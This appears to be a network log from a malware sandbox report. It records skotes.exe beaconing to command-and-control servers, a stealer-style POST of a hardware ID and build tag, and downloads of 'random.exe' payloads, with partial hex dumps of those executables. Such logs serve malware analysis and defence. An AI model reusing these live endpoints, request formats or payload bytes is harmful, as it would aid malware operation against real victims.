Dec 18, 2024 15:57:22.271907091 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:22.271959066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:22.271975040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:22.272017956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:22.272026062 CET	672	IN	Data Raw: 72 8c 43 31 5b 35 46 0a df dd d3 27 53 63 75 02 f0 2f 46 5b c4 4e c1 2a 69 98 b4 27 6d 6f ff 0a 09 99 a5 7a 30 1c c4 2c a3 15 f7 06 12 ec d4 d2 b8 6d fd 37 c0 ce 79 0a 50 7c 60 c8 f2 73 d4 bf c7 b1 c7 30 20 88 d6 56 1b 44 55 d1 3f 39 08 50 22 d4 Data Ascii: rC1[5F'Scu/F[Ni'moz0,m7yP\|`s0 VDU?9P"Q`ewEUKn+\EMeSu#t{Btojgo5F7&0*zMFT+[II7.9tONt]s00066
Dec 18, 2024 15:57:22.272150993 CET	1236	IN	Data Raw: b2 3d 46 b0 f4 55 f6 81 9e 64 00 d2 de de 07 19 54 a4 bd de 11 f6 e8 6b 2f 69 10 41 11 e6 d5 3a d2 4a 56 6b cd 63 fe 72 c6 2b ac 70 ab 3a 8a a6 50 5e 2e 35 8f 33 34 ce 19 e7 d1 42 5c 05 a6 00 b7 23 5e 74 f2 61 9d 6a 75 85 a5 d4 63 47 1d 2a d7 a8 Data Ascii: =FUdTk/iA:JVkcr+p:P^.534B\#^tajucG*+pdt@ WPrx[sO_/&"WZ1qi?NFjqb";,Os}DUto?cxw$&
Dec 18, 2024 15:57:22.272157907 CET	1236	IN	Data Raw: e0 22 d6 0a 8d 4a f2 39 cc 1d 60 a6 de cb 83 56 b0 ad 75 a5 bf 8a e5 9f 4f 17 20 60 1b 73 18 bf 77 b0 fd 2f 37 ec d6 60 c7 ef f6 31 1f 6d 87 d4 03 61 5d 18 0f ce e8 3b df 69 5a f2 90 a9 d5 8f df 4a df 10 c5 f9 cd bc e6 2b 9b 6c 92 bc 89 a6 49 00 Data Ascii: "J9`VuO `sw/7`1ma];iZJ+lI'td)RcaE[9+LVs([o0^3?ppwto%WtJr[A4]k[?"n_ock)_*h@
Dec 18, 2024 15:57:22.272170067 CET	1236	IN	Data Raw: 9e e2 55 d1 97 2b 08 17 1a a8 3b de 28 c2 e8 8e be 6e 7f 09 0c 33 46 56 71 44 73 2a d7 a4 85 b8 b5 2e a4 10 e5 ee d5 7f f9 de dd fc e7 ef e8 98 0d 69 5a 31 20 c9 d5 ce 18 4a 63 72 d0 c9 90 84 c8 5b 48 1d b2 f6 9a b3 29 2f ad e1 b6 fa 3e f0 82 73 Data Ascii: U+;(n3FVqDs.iZ1 Jcr[H)/>sI0PU!6-Pi\|gRc$oEa+LKt*Ht},Rv81JS:F'Q\|=VB)=Ps%5a s/Kh
Dec 18, 2024 15:57:22.272176981 CET	1236	IN	Data Raw: 49 ab 73 61 8f 72 28 52 05 e7 0d f9 2b e2 82 ee 64 d1 bb 70 52 63 50 ef 8c 72 45 a4 ef a7 99 2a d7 b9 59 44 de 2b 8c a1 25 d8 89 c3 f9 aa 61 44 90 2a 5a 74 40 74 21 98 bf ad 6f b2 35 bc f5 f9 ee fe 27 15 0d 16 02 7d 66 83 d8 8e 3e 7c 4e 74 a2 6f Data Ascii: Isar(R+dpRcPrEYD+%aDZt@t!o5'}f>\|Nto)t,X?^o8QLr3N],U+,LV541V0S1tai#%Z`Ji.J_k2[yHW#F2;-tIcC=
Dec 18, 2024 15:57:22.392178059 CET	1236	IN	Data Raw: dc f3 bf 81 b7 4a 50 9e d8 e6 d8 44 ff ea d5 d1 d0 b9 07 16 5b 77 3f de 66 61 e8 18 fd 69 84 0c 2f c0 d5 78 b1 4a bb 9b d0 cc b4 ed ef 5b 31 ef b1 96 85 b0 cb b4 3c 0f 9f 05 ae d1 9d 18 08 40 d7 e6 d7 de 0e 96 e8 41 e5 69 a1 72 75 70 d5 44 3a 4a Data Ascii: JPD[w?fai/xJ[1<@AirupD:J\|\|\/:=-to3p"DPSsw/s;%qm4towc{i+k#7YIJc4)Vm/J\B[sz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.10	49988	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:28.687931061 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016942001&unit=246122658369
Dec 18, 2024 15:57:30.015010118 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.10	49991	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:28.906956911 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 15:57:30.163513899 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:57:30.358810902 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGID Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 46 33 31 45 43 46 33 44 33 32 30 38 39 32 35 37 30 30 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="hwid"C79F31ECF3D32089257003------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="build"stok------BGHJJDGHCBGDHIECBGID--
Dec 18, 2024 15:57:30.807332993 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.10	49992	31.41.244.11	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:30.411789894 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 15:57:31.701200962 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:31 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 18, 2024 15:57:31.701212883 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:31.701252937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:31.701283932 CET	1236	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1
Dec 18, 2024 15:57:31.701291084 CET	448	IN	Data Raw: ff ff 83 ec 14 0f 28 05 10 c0 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 Data Ascii: (AD$$D$D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`K
Dec 18, 2024 15:57:31.701324940 CET	1236	IN	Data Raw: 00 00 00 00 c7 04 24 00 00 00 00 ff 34 24 ff 74 24 08 e8 34 fd ff ff 83 c4 08 8b 4c 24 28 31 e1 e8 90 11 00 00 b0 01 83 c4 2c 5e 5f 5b 5d c3 e8 1b 00 00 00 e8 1e 9c 00 00 c7 05 70 64 42 00 00 00 00 00 c3 c7 05 74 64 42 00 00 00 00 00 c3 68 2d 03 Data Ascii: $4$t$4L$(1,^_[]pdBtdBh-BfD$s#PH#A@@B$AhLABPBVD$(A1VVQPG$A^VD$(A1VVQP
Dec 18, 2024 15:57:31.701383114 CET	1236	IN	Data Raw: 11 46 04 c7 46 0c 00 00 00 00 6a 20 e8 5c 0c 00 00 83 c4 04 89 c7 89 06 c7 46 10 15 00 00 00 c7 46 14 1f 00 00 00 0f 10 05 f4 c1 41 00 0f 11 00 f2 0f 10 05 01 c2 41 00 f2 0f 11 40 0d 83 c7 15 e9 8f 00 00 00 50 e8 00 14 00 00 83 c4 04 89 c3 0f 57 Data Ascii: FFj \FFAA@PWWFP7xxw~FWSVYI$CCrPP~^Wt$PY^_[]D$T$
Dec 18, 2024 15:57:31.701390982 CET	1236	IN	Data Raw: df 01 cf b8 00 00 00 80 be ff ff ff 7f 89 14 24 78 18 89 d1 d1 e9 89 ca 81 f2 ff ff ff 7f 3b 14 24 8b 14 24 0f 83 dd 00 00 00 50 e8 81 f6 ff ff 8b 54 24 04 83 c4 04 89 7d 10 89 75 14 83 fa 10 0f 82 8d 00 00 00 8b 7d 00 53 57 50 89 c6 e8 34 55 00 Data Ascii: $x;$$PT$}u}SWP4Ut$D$ Pt$ SUt$D$ NrG) $QW*\|$K<}ruQt$ ST>(SUPTt$ Vt$ ST
Dec 18, 2024 15:57:31.701410055 CET	1236	IN	Data Raw: 46 1c 85 c0 74 09 50 e8 89 9e 00 00 83 c4 04 c7 46 1c 00 00 00 00 8b 46 14 85 c0 74 09 50 e8 72 9e 00 00 83 c4 04 c7 46 14 00 00 00 00 8b 46 0c 85 c0 74 09 50 e8 5b 9e 00 00 83 c4 04 c7 46 0c 00 00 00 00 8b 46 04 85 c0 74 09 50 e8 44 9e 00 00 83 Data Ascii: FtPFFtPrFFtP[FFtPDF^VA\|$tVw^A1IDSWV\$t$9tWP F9u^_[D$QP SWV\$t$9t
Dec 18, 2024 15:57:31.701522112 CET	896	IN	Data Raw: e8 53 24 00 00 85 c0 74 20 64 a1 18 00 00 00 be 98 64 42 00 8b 50 04 eb 04 3b d0 74 10 33 c0 8b ca f0 0f b1 0e 85 c0 75 f0 32 c0 5e c3 b0 01 5e c3 55 8b ec e8 1f 24 00 00 85 c0 74 0f 80 7d 08 00 75 09 33 c0 b9 98 64 42 00 87 01 5d c3 55 8b ec 83 Data Ascii: S$t ddBP;t3u2^^U$t}u3dB]U}udB 5u2]Zuj5Y]U=dBt}uuZu~5YY]U=dBt]Vutub#t&u"hdB}YuhdB}Y
Dec 18, 2024 15:57:31.820976973 CET	1236	IN	Data Raw: 00 5e c3 55 8b ec 51 6a 20 e8 63 fa ff ff 89 45 fc 59 85 c0 74 0c ff 75 08 8b c8 e8 77 00 00 00 c9 c3 33 c0 c9 c3 55 8b ec 51 51 53 57 6a 00 8d 4d f8 e8 c1 fd ff ff 8b 45 08 8b 78 0c 8d 58 08 85 ff 74 3f 56 8b 03 4f 8b 04 b8 89 45 fc 85 c0 74 2c Data Ascii: ^UQj cEYtuw3UQQSWjMExXt?VOEt,p7BMEtj17BMu^3YM_[UQE3VhBuNF(AVVVFQ^UVEtj VYY

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.10	50014	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:35.349419117 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 15:57:36.437637091 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 18178 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 18, 2024 15:57:37.299894094 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 15:57:37.615338087 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 18179 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 18, 2024 15:57:38.666348934 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 15:57:38.981614113 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 18180 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 18, 2024 15:57:40.064745903 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 15:57:40.383857965 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 18182 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 18, 2024 15:57:50.483104944 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.10	50023	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:36.071336985 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016943001&unit=246122658369
Dec 18, 2024 15:57:37.462115049 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.10	50030	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:37.190606117 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.10	50037	31.41.244.11	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:37.807389021 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 15:57:39.113312006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:38 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 18, 2024 15:57:39.113367081 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:39.113377094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:39.113485098 CET	224	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$
Dec 18, 2024 15:57:39.113528013 CET	1236	IN	Data Raw: 00 02 00 00 31 c9 88 8c 0c 00 01 00 00 89 c8 99 f7 fe 8a 04 17 88 04 0c 41 81 f9 00 01 00 00 75 e5 31 c0 31 c9 8a 94 04 00 01 00 00 00 d1 02 0c 04 0f b6 f1 8a b4 34 00 01 00 00 88 b4 04 00 01 00 00 88 94 34 00 01 00 00 40 3d 00 01 00 00 75 d4 83 Data Ascii: 1Au1144@=u$1111QQQ(9BCIuhMBheB~P:C$09G9$
Dec 18, 2024 15:57:39.113540888 CET	1236	IN	Data Raw: c4 0c 01 e7 83 c7 10 eb 4b 89 f9 83 c9 0f 83 f9 17 be 16 00 00 00 0f 43 f1 8d 46 01 81 f9 ff 0f 00 00 72 08 50 e8 0f 01 00 00 eb 06 50 e8 ef 11 00 00 83 c4 04 89 c3 89 44 24 10 89 7c 24 20 89 74 24 24 57 55 50 e8 c4 5f 00 00 83 c4 0c 01 df 8d 5c Data Ascii: KCFrPPD$\|$ t$$WUP_\$h5SmD$$r1L$prQ) $VQTWuED$D$E$(L$I!UW49BD$$4$t$
Dec 18, 2024 15:57:39.113552094 CET	448	IN	Data Raw: 51 e8 8c 44 00 00 83 c4 08 c7 06 88 c3 41 00 f2 0f 10 47 0c f2 0f 11 46 0c 89 f0 5e 5f c2 04 00 cc 56 89 ce 8b 44 24 08 c7 01 28 c1 41 00 83 c1 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 4f 44 00 00 83 c4 08 c7 06 a8 c3 41 00 89 f0 5e c2 04 00 Data Ascii: QDAGF^_VD$(A1VVQPODA^xdBdBd,;`VBhxdBP=xdBuh@hxdB\|V\|$tV^BUSWVPt$D$uJWFFj \
Dec 18, 2024 15:57:39.113620996 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
